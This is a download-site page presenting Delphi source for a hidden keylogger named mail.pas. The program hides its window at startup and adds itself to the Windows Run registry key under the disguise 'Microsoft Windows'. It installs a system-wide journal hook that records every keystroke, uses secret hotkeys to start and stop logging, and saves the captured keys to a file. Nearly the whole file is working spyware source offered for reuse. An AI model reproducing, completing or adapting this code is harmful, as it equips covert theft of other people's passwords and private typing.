⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mail.pas

📁 delphi编程源代码
💻 PAS
字号:
unit mail;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, StdCtrls, Buttons,ShellAPI,registry, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    PageControl1: TPageControl;
    TabSheet2: TTabSheet;
    Memo1: TMemo;
    TabSheet3: TTabSheet;
    Memo2: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
    procedure yhbhotkey(var msg:TMessage); message WM_HOTKEY;//定义热键
    function Keyhookresult(lP: integer; wP: integer): pchar;//定义键盘钩子
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hookkey: string;
  hHook: integer;
  str:array[0..19] of char;
  Creeper:TextFile;
  id,id2,id3,id4:Integer;
implementation

{$R *.dfm}
function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;
begin
  result := '[Print Screen]';
  case lp of
    10688: result := '`';
    561: Result := '1';
    818: result := '2';
    1075: result := '3';
    1332: result := '4';
    1589: result := '5';
    1846: result := '6';
    2103: result := '7';
    2360: result := '8';
    2617: result := '9';
    2864: result := '0';
    3261: result := '-';
    3515: result := '=';
    4177: result := 'Q';
    4439: result := 'W';
    4677: result := 'E';
    4946: result := 'R';
    5204: result := 'T';
    5465: result := 'Y';
    5717: result := 'U';
    5961: result := 'I';
    6223: result := 'O';
    6480: result := 'P';
    6875: result := '[';
    7133: result := ']';
    11228: result := '\';
    7745: result := 'A';
    8019: result := 'S';
    8260: result := 'D';
    8518: result := 'F';
    8775: result := 'G';
    9032: result := 'H';
    9290: result := 'J';
    9547: result := 'K';
    9804: result := 'L';
    10170: result := ';';
    10462: result := '''';
    11354: result := 'Z';
    11608: result := 'X';
    11843: result := 'C';
    12118: result := 'V';
    12354: result := 'B';
    12622: result := 'N';
    12877: result := 'M';
    13244: result := ',';
    13502: result := '.';
    13759: result := '/';
    13840: result := '[Right-Shift]';
    14624: result := '[Space]';
    283: result := '[Esc]';
    15216: result := '[F1]';
    15473: result := '[F2]';
    15730: result := '[F3]';
    15987: result := '[F4]';
    16244: result := '[F5]';
    16501: result := '[F6]';
    16758: result := '[F7]';
    17015: result := '[F8]';
    17272: result := '[F9]';
    17529: result := '[F10]';
    22394: result := '[F11]';
    22651: result := '[F12]';
    10768: Result := '[Left-Shift]';
    14868: result := '[CapsLock]';
    3592: result := '[Backspace]';
    3849: result := '[Tab]';
    7441:
      if wp > 30000 then
        result := '[Right-Ctrl]'
      else
        result := '[Left-Ctrl]';
    13679: result := '[Num /]';
    17808: result := '[NumLock]';
    300: result := '[Print Screen]';
    18065: result := '[Scroll Lock]';
    17683: result := '[Pause]';
    21088: result := '[Num0]';
    21358: result := '[Num.]';
    20321: result := '[Num1]';
    20578: result := '[Num2]';
    20835: result := '[Num3]';
    19300: result := '[Num4]';
    19557: result := '[Num5]';
    19814: result := '[Num6]';
    18279: result := '[Num7]';
    18536: result := '[Num8]';
    18793: result := '[Num9]';
    19468: result := '[*5*]';
    14186: result := '[Num *]';
    19053: result := '[Num -]';
    20075: result := '[Num +]';
    21037: result := '[Insert]';
    21294: result := '[Delete]';
    18212: result := '[Home]';
    20259: result := '[End]';
    18721: result := '[PageUp]';
    20770: result := '[PageDown]';
    18470: result := '[UP]';
    20520: result := '[DOWN]';
    19237: result := '[LEFT]';
    19751: result := '[RIGHT]';
    7181: result := '[Enter]';
  end;
end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
  if (peventmsg(lparam)^.message = WM_KEYDOWN) then
    hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
    if length(hookkey) > 0 then
    begin
      Form1.Memo1.Text:=hookkey ;
    end;
end;
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\Run';
begin
  Application.ShowMainForm:=False; //不显示主窗口
  //SetWindowPos( Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_SHOWWINDOW); //总在窗口最上面
  AssignFile(Creeper, 'Creeper.txt');
  if FileExists('Creeper.txt')=false then
  ReWrite(Creeper);
  append(Creeper);
  closefile(Creeper);
  hHook := 0;
  id:=GlobalAddAtom('hotkey');
  RegisterHotKey(handle,id,mod_control,88);
  id2:=GlobalAddAtom('hotkey2');
  RegisterHotKey(handle,id2,mod_control,89);
  id3:=GlobalAddAtom('hotkey3');
  RegisterHotKey(handle,id3,mod_control,81);
  id4:=GlobalAddAtom('hotkey4');
  RegisterHotKey(handle,id4,mod_control,84);
  with TRegistry.Create do
  try
  RootKey := HKEY_LOCAL_MACHINE;
  OpenKey( k, TRUE );
  WriteString( 'Microsoft Windows', Application.Exename );
  finally
  free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
hide;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
show;
end;
procedure TForm1.yhbhotkey(var msg:TMessage);  //定义热键
begin
  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=88) then
  // 按Ctrl+X 显示程序界面
  begin
    show;
  end;

  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=89) then
  // 按Ctrl+Y 隐藏程序界面
  begin
    hide;
  end;

  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=81) then
  // 按Ctrl+Q 启动键盘记录
  begin
    Button1Click(nil);
  end;

  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=84) then
  // 按Ctrl+T 终止键盘记录
  begin
    Button2Click(nil);
  end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
s:string;
begin
UnRegisterHotKey(handle,id);
UnRegisterHotKey(handle,id2);
UnRegisterHotKey(handle,id3);
UnRegisterHotKey(handle,id4);
AssignFile(Creeper, 'Creeper.txt');
if FileExists('Creeper.txt') then
append(Creeper);
try
s:=memo1.lines.Text ;
writeln(creeper,s);
finally
closefile(creeper);
end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -